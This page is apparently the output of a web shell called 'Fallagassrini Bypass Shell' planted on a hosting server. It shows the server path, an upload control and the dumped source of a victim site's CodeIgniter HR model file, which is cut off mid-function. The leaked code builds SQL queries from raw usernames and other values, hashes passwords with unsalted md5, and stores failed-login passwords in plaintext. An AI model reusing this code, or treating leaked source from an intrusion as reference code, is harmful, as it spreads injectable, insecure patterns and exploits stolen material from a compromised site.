? Fallagassrini

Fallagassrini Bypass Shell

echo"
Fallagassrini
";
Current Path : /home1/savoy/www/savoyglobal.net/horeitia/application/models/

Linux gator3171.hostgator.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
Upload File :
Current File : /home1/savoy/www/savoyglobal.net/horeitia/application/models/mastermodel.php~

<?php  if ( ! defined('BASEPATH')) exit('No direct script access allowed');


class Mastermodel extends CI_Model
{
    function __construct()
    {
        // Call the Model constructor
        parent::__construct();
    }


    /*Common function starts here*/
    function authenticate($username,$password)
    {
        $ip=$this->input->post('ip');
        $profile= $this->getSingleFieldValue('user','role_id','username',$username);
        if($profile=="")
        {
            $profile='NULL';
        }
        $uid= $this->getSingleFieldValue('user','id','username',$username);
        if($uid=="")
        {
            $uid='NULL';
        }
        $logintime=$today = date("Y-m-d H:i:s");
        $password1=md5($password);
        $query= $this->db->query("select * from user where username='$username' and password='$password1'");
        $data['numrows']=$query->num_rows();
        if($query->num_rows()>0)
        {
            $lastid= $this->getSingleValue('login_details','id','username',$username);
            $clogintime= $this->getSingleValue('login_details','login_time','username',$username);
            $result= $query->row();
            $data['userid']= $result->id;
            $data['username']=$username;
            $data['clogintime']=$logintime;
            $data['lastid']=$lastid;
            $data['roleid']= $result->role_id;
            $query1= $this->db->query("select * from login_details where username='$username' and id>='$lastid'");
            $data['attempt']=($query1->num_rows())-1;
            $tblValues=array('profile'=>$profile,'username'=>$username,'password'=>$password1,'login_time '=>$logintime,'userid '=>$uid,'ip_address '=>$ip,'status '=>'Success');
            $datas=$this->db->insert('login_details', $tblValues);
            return $data;
        }
        else
        {
            $tblValues=array('profile'=>$profile,'username'=>$username,'password'=>$password,'login_time '=>$logintime,'userid '=>$uid,'failing_time '=>$logintime,'ip_address '=>$ip,'status '=>'failed');
            $datas=$this->db->insert('login_details', $tblValues);
        }
    }

    function get_num_rows($table,$field,$id)
    {
        $this->db->where($field,$id);
        $Q=$this->db->get($table);
        return $Q->num_rows();
    }

    
    function getSingleValue($table,$field,$condition,$value)
    {
        $data=$this->db->query("select max(". $field. ") as ".$field." from ". $table . " where ". $condition . "='". $value ."' and status='Success'");
        $result= $data->row();
        if($result)
        {
            return $result->$field;
        }
        else
        {
            return "";
        }
    }


    function getSingleFieldValue($table,$field,$condition,$value)
    {
        
        $data=$this->db->query("select ". $field. " from ". $table . " where ". $condition . "='". $value ."'");
        $result= $data->row();
        if($result)
        {
            return $result->$field;
        }
        else
        {
            return "";
        }
    }

    function getSingleFieldValueTwo($table,$field,$condition,$value,$condition1,$value1)
    {
        $sql ="select ". $field. " from ". $table . " where ". $condition . "='". $value ."' and ". $condition1 . "='". $value1 ."'";
        $data=$this->db->query($sql);
        $result= $data->row();
        if($result)
        {
            return $result->$field;
        }
        else
        {
            return "";
        }
    }

    function buildMenu($moduleid)
    {
        $user_id=$_SESSION['userid'];
        $data = array();
        $Q= $this->db->query("select * from menu where module_id='" . $moduleid ."' order by sort");
        $P=$this->db->query("select permission,edit_del_permission from user where id='" . $_SESSION['userid'] ."'");
        $result= $P->row();
        $permission=explode(',',$result->permission);
        $edit_del_permission=explode(',',$result->edit_del_permission);
        
        if ($Q->num_rows() > 0)
        {
             foreach ($Q->result_array() as $row)
             {
                 $check=$this->mastermodel->check_user_permission($row['menu_id'],$_SESSION['userid'],'0');
                 if($check)
                 {
                    $data[]=$row;
                 }
             }
        }
        $Q->free_result();
        return $data;
    }


    function buildModule()
    {
        $flag=0;
        $homemodel=0;
        $data = array();
        $P=$this->db->query("select permission from user where id='" . $_SESSION['userid'] ."'");
        $result= $P->row();
        $permission=explode(',',$result->permission);
        $Q= $this->db->query("select * from modules where status = '" . $_SESSION['login_type'] ."' || status = '2'  order by sort");
        if ($Q->num_rows() > 0)
        {
            foreach($Q->result_array() as $row)
            {
                $R= $this->db->query("select * from menu where module_id='" . $row['module_id'] ."'");
                foreach($R->result_array() as $menu)
                {
                    $check=$this->mastermodel->check_user_permission($menu['menu_id'],$_SESSION['userid'],'0');
                 
                    if($check)
                    {
                        $flag=1;
                    }
                }
                if($homemodel==0)
                {
                    $data[]=$row;
                    $homemodel=1;
                }
                if($flag==1)
                {
                    $data[]=$row;
                    $flag=0;
                }
                else
                {
                    $flag=0;
                }
            }
        }
        $Q->free_result();
        return $data;
    }

    
    function chk_url_permission($menuid)
    {
        $uid=$_SESSION['userid'];
        $permission= $this->getSingleFieldValue('user','permission','id',$uid);
        $array=explode(',',$permission);
        if(in_array($menuid, $array))
        {
            return true;
        }
        else
        {
            return false;

        }
    }



    function getdatas($table,$sortfield="")
    {
        $data = array();
        if(!empty ($sortfield))
        {
            $this->db->order_by($sortfield, "asc");
        }
        $Q = $this->db->get($table);
        if ($Q->num_rows() > 0)
        {
            foreach ($Q->result_array() as $row)
            {
                $data[] = $row;
            }
        }
        $Q->free_result();
        return $data;
    }


    function get_data($table,$id,$field,$sortfield="")
    {
        $data = array();
        $this->db->where($field,$id);
        if(!empty($sortfield))
        {
            $this->db->order_by($sortfield,'asc');
        }
        $Q= $this->db->get($table);
        if ($Q->num_rows() > 0)
        {
            foreach ($Q->result_array() as $row)
            {
                $data[] = $row;
            }
        }
        $Q->free_result();
        return $data;
    }


    function getmoduledatamaster()
    {
        $data=array();
        $res=$this->db->query("select modules.module_name,menu.caption,menu.target,menu.menu_id,menu.module_id,menu.sort,menu.imagepath from modules join menu on modules.module_id=menu.module_id
             where status = '" . $_SESSION['login_type'] ."' || status = '2'
            order by modules.sort, menu.sort");
        foreach ($res->result_array() as $row)
        {
            $data[] = $row;
        }
        return $data;
    }


    function getmoduledata()
    {
        $data=array();
        $res=$this->db->query("select modules.module_name,menu.caption,menu.target,menu.menu_id,menu.module_id,menu.sort,menu.imagepath from modules join menu on modules.module_id=menu.module_id
            order by modules.sort, menu.sort");
        foreach ($res->result_array() as $row)
        {
            $data[] = $row;
        }
        return $data;
    }
    
    function ret_private()
    {
        $uid=$_SESSION['userid'];
        $menuid=$_SESSION['current_mode'];
        $private= $this->getSingleFieldValue('user','private','id',$uid);
        $permission= $this->getSingleFieldValue('user','permission','id',$uid);
        $array=explode(',',$private);
        $array2=explode(',',$permission);
        $fount=array_search($menuid,$array2);
        $val=$array[$fount];
        if($val==2)
        {
            return true;
        }
        else
        {
            return false;
        }
    }


    function replacemenu($menuid)
    {
        $uid=$_SESSION['userid'];
        $permission= $this->getSingleFieldValue('user','permission','id',$uid);
        $array=explode(',',$permission);
        if(in_array($menuid, $array))
        {
            return $menuid;
        }
        else
        {
            return false;
        }
    }


    function permissionList()
    {
        $permission=array();
        $user_id=$_SESSION['userid'];
        $P=$this->db->query("select permission from user where id='" . $user_id ."'");
        $result= $P->row();
        $permission=explode(',',$result->permission);
        return $permission;
    }

        
    function checkexistencearray($table,$field,$value)
    {
        $tbarr=explode('~',$table);
        $fdarr=explode('~',$field);
        for($i=0;$i<sizeof($tbarr);$i++)
        {
            $this->db->from($tbarr[$i]);
            $this->db->where($fdarr[$i], $value);
            $count= $this->db->count_all_results();
            if($count>0)
            {
                return $count;
                break;
            }
            else
            {
                continue;
            }
        }
    }

    function checkexistence($table,$field,$value)
    {
         $this->db->from($table);
         $this->db->where($field, $value);
         $count= $this->db->count_all_results();
         return $count;
    }

    
    function check_user_permission($menuid,$userid,$check)
    {
        $this->db->select('permission,edit_del_permission');
        $this->db->from('user');
        $this->db->where('id', $userid);
        $data=$this->db->get();
        $result= $data->row();
        $array_perm=explode(',',$result->edit_del_permission);
        $array_mod=explode(',',$result->permission);
        $found=array_search($menuid,$array_mod);
        $val=$array_perm[$found];
        $a=decbin($val);
        $d=sprintf('%03u',$a);
        $ar = str_split($d);
     
        if($ar[$check]==1)
        {
            return true;
        }
        else
        {
            return false;
        }
    }


    function add($postdata)
    {
        $data=array();
        $data['resfunction']=$postdata['resfunction'];
        $table = $postdata['tab_name'];
        unset ($postdata['tab_name']);
        unset ($postdata['resfunction']);
        $res=$this->db->insert($table,$postdata);
        $cnt=$this->db->insert_id();
        if($res>0)
        {
            $data['res']=1;
            $data['msg']='Record Added Successfully';
        }
        else
        {
            $data['res']=0;
            $data['msg']='Erron On Adding Record';
        }
        return $data;
    }

    function update($postdata)
    {
        $data=array();
        $data['resfunction']=$postdata['resfunction'];
        $table = $postdata['tab_name'];
        $field = $postdata['tab_field'];
        $id= $postdata['tab_id'];
        unset ($postdata['resfunction']);
        unset ($postdata['tab_name']);
        unset ($postdata['tab_field']);
        unset ($postdata['tab_id']);
        $this->db->where($field, $id);
        $res=$this->db->update($table,$postdata);
        if($res>0)
        {
            $data['res']=1;
            $data['msg']='Record Updated Successfully';
        }
        else
        {
            $data['res']=0;
            $data['msg']='Erron On updating Record';
        }
        return $data;
    }
    
    function deletedata($table,$id,$field)
    {
        $data=array();
        $this->db->trans_begin();
        $this->db->delete($table,array($field=> $id));
        $this->db->trans_status();
        if ($this->db->trans_status() === FALSE)
        {
            $this->db->trans_rollback();
            $data['res']=0;
            $data['msg']='Unable to delete record because of associated data';
        }
        else
        {
            $this->db->trans_commit();
            $data['res']=1;
            $data['msg']='Data Deleted Successfully';
        }
        return $data;
    }


    function norecords($tabname)
    {
        $data = array();
        $sql = "select MAX(id) as maxid from $tabname";
        $res = mysql_query($sql);
        $row = mysql_fetch_array($res);
        $numcode =  $row['maxid'];
        if ($numcode != '')
        {
            return $numcode;
        }
        else
        {
            return 0;
        }
    }


    function get_data_srow($table,$id,$field)
    {
        $data = array();
        $this->db->where($field,$id);
        $Q= $this->db->get($table);
        $row=$Q->row();
        return $row;
    }


    function get_data_scoloumn($table,$id,$field,$coloumn,$sortfield="")
    {
        $data = array();
        $this->db->where($field,$id);
        if(!empty($sortfield))
        {
            $this->db->order_by($sortfield,'asc');
        }
        $this->db->select($coloumn);
        $Q= $this->db->get($table);
        if ($Q->num_rows() > 0)
        {
            foreach ($Q->result_array() as $row)
            {
                $data[] = $row;
            }
        }
        $Q->free_result();
        return $data;
    }

    function convertdateformat($date)
    {
        if($date == "" || $date == "00-00-0000")
        {
            return "";
        }
        else
        {
            $time = strtotime( $date );
            return date( 'Y-m-d', $time );
        }
    }

    function convertdatenormalformat($date)
    {
        if($date == "" || $date == "0000-00-00")
        {
            return "";
        }
        else
        {
            $time = strtotime( $date );
            return date( 'd-m-Y', $time );
        }
    }

    function insertmasterdata()
     {
        $time= date("Y-m-d H:i:s");
        $ip=$_SERVER['REMOTE_ADDR'];
        $query="insert into master (creator_id,created_time,ip) values ('".$_SESSION['userid']."','$time','$ip')";
        $this->db->query($query);
        return mysql_insert_id();
     }
        /*Common function ends here*/


        /*Search function starts here*/


    function search_visa_type($pagenum)
    {
        $data=array();
        $this->db->from('visa_type');
        $postdata=$_SESSION['searchdata'];
        if(!empty($postdata))
        {
            $searchtext=$postdata['searchtext'];
            $searchfield=$postdata['searchopt'];
            $this->db->like($searchfield, $searchtext, 'after');
        }
        $count= $this->db->count_all_results();
        $arr=$this->fpaginate->paginate($pagenum,$count);
        $data['startpage']=$arr[0];
        $data['endpage']=$arr[1];
        $start=$arr[2];
        $perpage=$arr[3];
        $data['count']=$count;
        if(!empty($postdata))
        {
            $searchtext=$postdata['searchtext'];
            $searchfield=$postdata['searchopt'];
            $this->db->like($searchfield, $searchtext, 'after');
        }
        $this->db->select('*');
        $this->db->from('visa_type');
        $this->db->limit($perpage, $start);
        $this->db->order_by('visa_type_id','desc');
        $data['results']=$this->db->get();
        return $data;
    }

    function search_camp($pagenum)
    {
        $data=array();
        $this->db->from('camp');
        $postdata=$_SESSION['searchdata'];
        if(!empty($postdata))
        {
            $searchtext=$postdata['searchtext'];
            $searchfield=$postdata['searchopt'];
            $this->db->like($searchfield, $searchtext, 'after');
        }
        $count= $this->db->count_all_results();
        $arr=$this->fpaginate->paginate($pagenum,$count);
        $data['startpage']=$arr[0];
        $data['endpage']=$arr[1];
        $start=$arr[2];
        $perpage=$arr[3];
        $data['count']=$count;
        if(!empty($postdata))
        {
            $searchtext=$postdata['searchtext'];
            $searchfield=$postdata['searchopt'];
            $this->db->like($searchfield, $searchtext, 'after');
        }
        $this->db->select('*');
        $this->db->from('camp');
        $this->db->limit($perpage, $start);
        $this->db->order_by('camp_id','desc');
        $data['results']=$this->db->get();
        return $data;
    }

    function search_trade($pagenum)
    {
        $data=array();
        $this->db->from('trade');
        $postdata=$_SESSION['searchdata'];
        if(!empty($postdata))
        {
            $searchtext=$postdata['searchtext'];
            $searchfield=$postdata['searchopt'];
            $this->db->like($searchfield, $searchtext, 'after');
        }
        $count= $this->db->count_all_results();
        $arr=$this->fpaginate->paginate($pagenum,$count);
        $data['startpage']=$arr[0];
        $data['endpage']=$arr[1];
        $start=$arr[2];
        $perpage=$arr[3];
        $data['count']=$count;
        if(!empty($postdata))
        {
            $searchtext=$postdata['searchtext'];
            $searchfield=$postdata['searchopt'];
            $this->db->like($searchfield, $searchtext, 'after');
        }
        $this->db->select('*');
        $this->db->from('trade');
        $this->db->limit($perpage, $start);
        $this->db->order_by('trade_id','desc');
        $data['results']=$this->db->get();
        return $data;
    }

    function search_attendance_list($pagenum)
    {
        $data=array();
        $this->db->from('attendance_list');
        $postdata=$_SESSION['searchdata'];
        if(!empty($postdata))
        {
            $searchtext=$postdata['searchtext'];
            $searchfield=$postdata['searchopt'];
            $this->db->like($searchfield, $searchtext, 'after');
        }
        $count= $this->db->count_all_results();
        $arr=$this->fpaginate->paginate($pagenum,$count);
        $data['startpage']=$arr[0];
        $data['endpage']=$arr[1];
        $start=$arr[2];
        $perpage=$arr[3];
        $data['count']=$count;
        if(!empty($postdata))
        {
            $searchtext=$postdata['searchtext'];
            $searchfield=$postdata['searchopt'];
            $this->db->like($searchfield, $searchtext, 'after');
        }
        $this->db->select('*');
        $this->db->from('attendance_list');
        $this->db->limit($perpage, $start);
        $this->db->order_by('attendance_list_id','desc');
        $data['results']=$this->db->get();
        return $data;
    }
    
    function search_training_module($pagenum)
    {
        $data=array();
        $this->db->from('training_module');
        $this->db->join('trade','trade.trade_id=training_module.trade_id');
        $postdata=$_SESSION['searchdata'];
        if(!empty($postdata))
        {
            $searchtext=$postdata['searchtext'];
            $searchfield=$postdata['searchopt'];
            $this->db->like($searchfield, $searchtext, 'after');
        }
        $count= $this->db->count_all_results();
        $arr=$this->fpaginate->paginate($pagenum,$count);
        $data['startpage']=$arr[0];
        $data['endpage']=$arr[1];
        $start=$arr[2];
        $perpage=$arr[3];
        $data['count']=$count;
        if(!empty($postdata))
        {
            $searchtext=$postdata['searchtext'];
            $searchfield=$postdata['searchopt'];
            $this->db->like($searchfield, $searchtext, 'after');
        }
        $this->db->select('*');
        $this->db->from('training_module');
         $this->db->join('trade','trade.trade_id=training_module.trade_id');
        $this->db->limit($perpage, $start);
        $this->db->order_by('training_module_id','desc');
        $data['results']=$this->db->get();
        return $data;
    }

    function search_general_item($pagenum)
    {
        $data=array();
        $this->db->from('general_item');
        $postdata=$_SESSION['searchdata'];
        if(!empty($postdata))
        {
            $searchtext=$postdata['searchtext'];
            $searchfield=$postdata['searchopt'];
            $this->db->like($searchfield, $searchtext, 'after');
        }
        $count= $this->db->count_all_results();
        $arr=$this->fpaginate->paginate($pagenum,$count);
        $data['startpage']=$arr[0];
        $data['endpage']=$arr[1];
        $start=$arr[2];
        $perpage=$arr[3];
        $data['count']=$count;
        if(!empty($postdata))
        {
            $searchtext=$postdata['searchtext'];
            $searchfield=$postdata['searchopt'];
            $this->db->like($searchfield, $searchtext, 'after');
        }
        $this->db->select('*');
        $this->db->from('general_item');
        $this->db->limit($perpage, $start);
        $this->db->order_by('item_id','desc');
        $data['results']=$this->db->get();
        return $data;
    }

    function search_sponsor($pagenum)
    {
        $data=array();
        $this->db->from('sponsor');
        $postdata=$_SESSION['searchdata'];
        if(!empty($postdata))
        {
            $searchtext=$postdata['searchtext'];
            $searchfield=$postdata['searchopt'];
            $this->db->like($searchfield, $searchtext, 'after');
        }
        $count= $this->db->count_all_results();
        $arr=$this->fpaginate->paginate($pagenum,$count);
        $data['startpage']=$arr[0];
        $data['endpage']=$arr[1];
        $start=$arr[2];
        $perpage=$arr[3];
        $data['count']=$count;
        if(!empty($postdata))
        {
            $searchtext=$postdata['searchtext'];
            $searchfield=$postdata['searchopt'];
            $this->db->like($searchfield, $searchtext, 'after');
        }
        $this->db->select('*');
        $this->db->from('sponsor');
        $this->db->limit($perpage, $start);
        $this->db->order_by('sponsor_id','desc');
        $data['results']=$this->db->get();
        return $data;
    }

    function search_agency($pagenum)
    {
        $data=array();
        $this->db->from('agency');
        $postdata=$_SESSION['searchdata'];
        if(!empty($postdata))
        {
            $searchtext=$postdata['searchtext'];
            $searchfield=$postdata['searchopt'];
            $this->db->like($searchfield, $searchtext, 'after');
        }
        $count= $this->db->count_all_results();
        $arr=$this->fpaginate->paginate($pagenum,$count);
        $data['startpage']=$arr[0];
        $data['endpage']=$arr[1];
        $start=$arr[2];
        $perpage=$arr[3];
        $data['count']=$count;
        if(!empty($postdata))
        {
            $searchtext=$postdata['searchtext'];
            $searchfield=$postdata['searchopt'];
            $this->db->like($searchfield, $searchtext, 'after');
        }
        $this->db->select('*');
        $this->db->from('agency');
        $this->db->limit($perpage, $start);
        $this->db->order_by('agency_id','desc');
        $data['results']=$this->db->get();
        return $data;
    }

    function search_nationality($pagenum)
    {
        $data=array();
        $this->db->from('nationality');
        $postdata=$_SESSION['searchdata'];
        if(!empty($postdata))
        {
            $searchtext=$postdata['searchtext'];
            $searchfield=$postdata['searchopt'];
            $this->db->like($searchfield, $searchtext, 'after');
        }
        $count= $this->db->count_all_results();
        $arr=$this->fpaginate->paginate($pagenum,$count);
        $data['startpage']=$arr[0];
        $data['endpage']=$arr[1];
        $start=$arr[2];
        $perpage=$arr[3];
        $data['count']=$count;
        if(!empty($postdata))
        {
            $searchtext=$postdata['searchtext'];
            $searchfield=$postdata['searchopt'];
            $this->db->like($searchfield, $searchtext, 'after');
        }
        $this->db->select('*');
        $this->db->from('nationality');
        $this->db->limit($perpage, $start);
        $this->db->order_by('nationality_id','desc');
        $data['results']=$this->db->get();
        return $data;
    }

    function search_site($pagenum)
    {
        $data=array();
        $this->db->from('site');
        $postdata=$_SESSION['searchdata'];
        if(!empty($postdata))
        {
            $searchtext=$postdata['searchtext'];
            $searchfield=$postdata['searchopt'];
            $this->db->like($searchfield, $searchtext, 'after');
        }
        $count= $this->db->count_all_results();
        $arr=$this->fpaginate->paginate($pagenum,$count);
        $data['startpage']=$arr[0];
        $data['endpage']=$arr[1];
        $start=$arr[2];
        $perpage=$arr[3];
        $data['count']=$count;
        if(!empty($postdata))
        {
            $searchtext=$postdata['searchtext'];
            $searchfield=$postdata['searchopt'];
            $this->db->like($searchfield, $searchtext, 'after');
        }
        $this->db->select('*');
        $this->db->from('site');
        $this->db->limit($perpage, $start);
        $this->db->order_by('site_id','desc');
        $data['results']=$this->db->get();
        return $data;
    }

    function search_leave_type($pagenum)
    {
        $data=array();
        $this->db->from('leave_type');
        $postdata=$_SESSION['searchdata'];
        if(!empty($postdata))
        {
            $searchtext=$postdata['searchtext'];
            $searchfield=$postdata['searchopt'];
            $this->db->like($searchfield, $searchtext, 'after');
        }
        $count= $this->db->count_all_results();
        $arr=$this->fpaginate->paginate($pagenum,$count);
        $data['startpage']=$arr[0];
        $data['endpage']=$arr[1];
        $start=$arr[2];
        $perpage=$arr[3];
        $data['count']=$count;
        if(!empty($postdata))
        {
            $searchtext=$postdata['searchtext'];
            $searchfield=$postdata['searchopt'];
            $this->db->like($searchfield, $searchtext, 'after');
        }
        $this->db->select('*');
        $this->db->from('leave_type');
        $this->db->limit($perpage, $start);
        $this->db->order_by('leave_type_id','desc');
        $data['results']=$this->db->get();
        return $data;
    }

    function search_allowance($pagenum)
    {
        $data=array();
        $this->db->from('allowance');
        $postdata=$_SESSION['searchdata'];
        if(!empty($postdata))
        {
            $searchtext=$postdata['searchtext'];
            $searchfield=$postdata['searchopt'];
            $this->db->like($searchfield, $searchtext, 'after');
        }
        $count= $this->db->count_all_results();
        $arr=$this->fpaginate->paginate($pagenum,$count);
        $data['startpage']=$arr[0];
        $data['endpage']=$arr[1];
        $start=$arr[2];
        $perpage=$arr[3];
        $data['count']=$count;
        if(!empty($postdata))
        {
            $searchtext=$postdata['searchtext'];
            $searchfield=$postdata['searchopt'];
            $this->db->like($searchfield, $searchtext, 'after');
        }
        $this->db->select('*');
        $this->db->from('allowance');
        $this->db->limit($perpage, $start);
        $this->db->order_by('allowance_id','desc');
        $data['results']=$this->db->get();
        return $data;
    }

    function search_deduction($pagenum)
    {
        $data=array();
        $this->db->from('deduction');
        $postdata=$_SESSION['searchdata'];
        if(!empty($postdata))
        {
            $searchtext=$postdata['searchtext'];
            $searchfield=$postdata['searchopt'];
            $this->db->like($searchfield, $searchtext, 'after');
        }
        $count= $this->db->count_all_results();
        $arr=$this->fpaginate->paginate($pagenum,$count);
        $data['startpage']=$arr[0];
        $data['endpage']=$arr[1];
        $start=$arr[2];
        $perpage=$arr[3];
        $data['count']=$count;
        if(!empty($postdata))
        {
            $searchtext=$postdata['searchtext'];
            $searchfield=$postdata['searchopt'];
            $this->db->like($searchfield, $searchtext, 'after');
        }
        $this->db->select('*');
        $this->db->from('deduction');
        $this->db->limit($perpage, $start);
        $this->db->order_by('deduction_id','desc');
        $data['results']=$this->db->get();
        return $data;
    }

    function search_grade($pagenum)
    {
        $data=array();
        $this->db->from('grade');
        $postdata=$_SESSION['searchdata'];
        if(!empty($postdata))
        {
            $searchtext=$postdata['searchtext'];
            $searchfield=$postdata['searchopt'];
            $this->db->like($searchfield, $searchtext, 'after');
        }
        $count= $this->db->count_all_results();
        $arr=$this->fpaginate->paginate($pagenum,$count);
        $data['startpage']=$arr[0];
        $data['endpage']=$arr[1];
        $start=$arr[2];
        $perpage=$arr[3];
        $data['count']=$count;
        if(!empty($postdata))
        {
            $searchtext=$postdata['searchtext'];
            $searchfield=$postdata['searchopt'];
            $this->db->like($searchfield, $searchtext, 'after');
        }
        $this->db->select('*');
        $this->db->from('grade');
        $this->db->limit($perpage, $start);
        $this->db->order_by('grade_id','desc');
        $data['results']=$this->db->get();
        return $data;
    }

    function search_religion($pagenum)
    {
        $data=array();
        $this->db->from('religion');
        $postdata=$_SESSION['searchdata'];
        if(!empty($postdata))
        {
            $searchtext=$postdata['searchtext'];
            $searchfield=$postdata['searchopt'];
            $this->db->like($searchfield, $searchtext, 'after');
        }
        $count= $this->db->count_all_results();
        $arr=$this->fpaginate->paginate($pagenum,$count);
        $data['startpage']=$arr[0];
        $data['endpage']=$arr[1];
        $start=$arr[2];
        $perpage=$arr[3];
        $data['count']=$count;
        if(!empty($postdata))
        {
            $searchtext=$postdata['searchtext'];
            $searchfield=$postdata['searchopt'];
            $this->db->like($searchfield, $searchtext, 'after');
        }
        $this->db->select('*');
        $this->db->from('religion');
        $this->db->limit($perpage, $start);
        $this->db->order_by('religion_id','desc');
        $data['results']=$this->db->get();
        return $data;
    }

    function search_designation($pagenum)
    {
        $data=array();
        $this->db->from('designation');
        $postdata=$_SESSION['searchdata'];
        if(!empty($postdata))
        {
            $searchtext=$postdata['searchtext'];
            $searchfield=$postdata['searchopt'];
            $this->db->like($searchfield, $searchtext, 'after');
        }
        $count= $this->db->count_all_results();
        $arr=$this->fpaginate->paginate($pagenum,$count);
        $data['startpage']=$arr[0];
        $data['endpage']=$arr[1];
        $start=$arr[2];
        $perpage=$arr[3];
        $data['count']=$count;
        if(!empty($postdata))
        {
            $searchtext=$postdata['searchtext'];
            $searchfield=$postdata['searchopt'];
            $this->db->like($searchfield, $searchtext, 'after');
        }
        $this->db->select('*');
        $this->db->from('designation');
        $this->db->limit($perpage, $start);
        $this->db->order_by('designation_id','desc');
        $data['results']=$this->db->get();
        return $data;
    }
        /*Search function ends here*/


        /*Add function starts here*/

    function insert_tool_list($postdata)
    {
        $data=array();
        $this->db->trans_begin();
        $i=1;
        while(isset($postdata['tool_name'.$i]))
        {
            $tblValues=array(
                            'trade_id'=>$postdata['trade_id'],
                            'tool_name'=>$postdata['tool_name'.$i],
                            'tool_shelf_life'=>$postdata['tool_shelf_life'.$i],
                            'tool_remind_before'=>$postdata['tool_remind_before'.$i]);
            $this->db->insert('tool_list', $tblValues);
            $i++;
        }
        $data['resfunction']='search_tool_list';
        if ($this->db->trans_status() === FALSE)
        {
            $this->db->trans_rollback();
            $data['res']=0;
            $data['msg']='Error On Adding Record';
            return $data;
        }
        else
        {
            $this->db->trans_commit();
            $data['res']=1;
            $data['msg']='Record Added Successfully';
            return $data;
        }
    }
        

    


        /*Add function ends here*/


         /*Update function starts here*/

    function update_tool_list($postdata)
    {
        $data=array();
        $this->db->trans_begin();
        $i=1;
        while(isset ($postdata['tool_name'.$i]))
        {
            $tblValues=array(
                            'tool_name'=>$postdata['tool_name'.$i],
                            'tool_shelf_life'=>$postdata['tool_shelf_life'.$i],
                            'tool_shelf_life'=>$postdata['tool_shelf_life'.$i],
                            'tool_remind_before'=>$postdata['tool_remind_before'.$i]);
            $this->db->where('tool_id', $postdata['tool_id'.$i]);
            $this->db->update('tool_list', $tblValues);
            $i++;
        }
        $i=1;;
        while(isset ($postdata['tool_name_'.$i]))
        {
            $tblValues=array(
                            'trade_id'=>$postdata['trade_id'],
                            'tool_name'=>$postdata['tool_name_'.$i],
                            'tool_shelf_life'=>$postdata['tool_shelf_life_'.$i],
                            'tool_remind_before'=>$postdata['tool_remind_before_'.$i]);
            $this->db->insert('tool_list', $tblValues);
            $i++;
        }
        $data['resfunction']='search_tool_list';
        if ($this->db->trans_status() === FALSE)
        {
            $this->db->trans_rollback();
            $data['res']=0;
            $data['msg']='Error On Updated Record';
            return $data;
        }
        else
        {
            $this->db->trans_commit();
            $data['res']=1;
            $data['msg']='Record Updated Successfully';
            return $data;
        }
    }

    
         /*Update function ends here*/

    function getreminder()
    {
        $data=array();
        $tdate=date('Y-m-d');
        $data=$this->db->query("select * from reminder join master on master_id=reminder_id where creator_id=".$_SESSION['userid']." and remind_before >= datediff(reminder_date,now()) and datediff(reminder_date,now())>=0");
        return $data;
    }

    function getalert()
    {
        $data=array();
        $tdate=date('Y-m-d');
        $this->db->from('alert_master');
        $this->db->join('alert_master_designation','alert_master_designation.alert_master_id=alert_master.alert_master_id');
        $this->db->join('role','role.designation_id=alert_master_designation.designation_id');
        $this->db->join('user','role.role_id=user.role_id');
        $this->db->where('id',$_SESSION['userid']);
        $this->db->order_by('sort','asc');
        $data=$this->db->get();
        return $data;
    }
    
    function profile_list()
    {
        $data=array();
        $this->db->select('*');
        $this->db->from('role');
        $this->db->join('designation','role.designation_id=designation.designation_id');
        $this->db->order_by('role_id','asc');
        $Q=$this->db->get();
        if ($Q->num_rows() > 0)
        {
            foreach ($Q->result_array() as $row)
            {
                $data[] = $row;
            }
        }
        $Q->free_result();
        return $data;
    }

    function search_tool_list($pagenum)
    {
        $data=array();
        $this->db->from('trade');
        $this->db->join('tool_list','trade.trade_id=tool_list.trade_id');
        $this->db->group_by('trade.trade_id');
        $postdata=$_SESSION['searchdata'];
        if(!empty($postdata))
        {
            $searchtext=$postdata['searchtext'];
            $searchfield=$postdata['searchopt'];
            $this->db->like($searchfield, $searchtext, 'after');
        }
        $count= $this->db->count_all_results();
        $arr=$this->fpaginate->paginate($pagenum,$count);
        $data['startpage']=$arr[0];
        $data['endpage']=$arr[1];
        $start=$arr[2];
        $perpage=$arr[3];
        $data['count']=$count;
        if(!empty($postdata))
        {
            $searchtext=$postdata['searchtext'];
            $searchfield=$postdata['searchopt'];
            $this->db->like($searchfield, $searchtext, 'after');
        }
        $this->db->select('*');
        $this->db->from('trade');
        $this->db->join('tool_list','trade.trade_id=tool_list.trade_id');
        $this->db->limit($perpage, $start);
        $this->db->order_by('trade.trade_id','desc');
        $this->db->group_by('trade.trade_id');
        $data['results']=$this->db->get();
        return $data;
    }

    function convdatformat($xdate)
    {
        $mydate = explode('-',$xdate);
        if(strlen($xdate)>6)
            return $mydate[2]."-".$mydate[1]."-".$mydate[0];
        else if(strlen($xdate)>3)
            return "-".$mydate[1]."-".$mydate[0];
         else
            return "-".$mydate[0];

    }

    function number_rows($tabname,$field1='',$value1='',$field2='',$value2='',$field3='',$value3='')
    {
        $data = array();
        $this->db->from($tabname);
        if($field1 !='')
        $this->db->where($field1,$value1);
        if($field2 !='')
            $this->db->where($field2,$value2);
        if($field3 !='')
            $this->db->where($field3,$value3);
        return $this->db->count_all_results();
    }

    function get_trade_list()
    {
        $data = array();
        $Q = $this->db->query("select * from trade where trade_id not in (select trade_id from tool_list) order by trade.trade_id desc");
        if ($Q->num_rows() > 0)
        {
            foreach ($Q->result_array() as $row)
            {
                $data[] = $row;
            }
        }
        $Q->free_result();
        return $data;
    }

    function get_employee_current_salary($employee_id)
    {
        $sql = "SELECT salary_increment
                FROM salary tt
                INNER JOIN
                (SELECT employee_id, MAX(salary_increment_date) AS increment_date
                FROM salary
                GROUP BY employee_id) groupedtt ON tt.employee_id = groupedtt.employee_id AND tt.salary_increment_date = groupedtt.increment_date
                where tt.employee_id = '$employee_id' ";
        $data=$this->db->query($sql);
        $result= $data->row();
        if($result)
        {
            return $result->salary_increment;
        }
        else
        {
            return "";
        }
    }

    function get_employee_current_camp($employee_id)
    {
        $sql = "SELECT camp_name
                FROM camp 
                INNER JOIN
                camp_allotment tt on tt.camp_id = camp.camp_id
                INNER JOIN
                (SELECT employee_id, MAX(camp_allotment_date) AS allotment_date
                FROM camp_allotment
                GROUP BY employee_id) groupedtt ON tt.employee_id = groupedtt.employee_id AND tt.camp_allotment_date = groupedtt.allotment_date
                where tt.employee_id = $employee_id ";
        $data=$this->db->query($sql);
        $result= $data->row();
        if($result)
        {
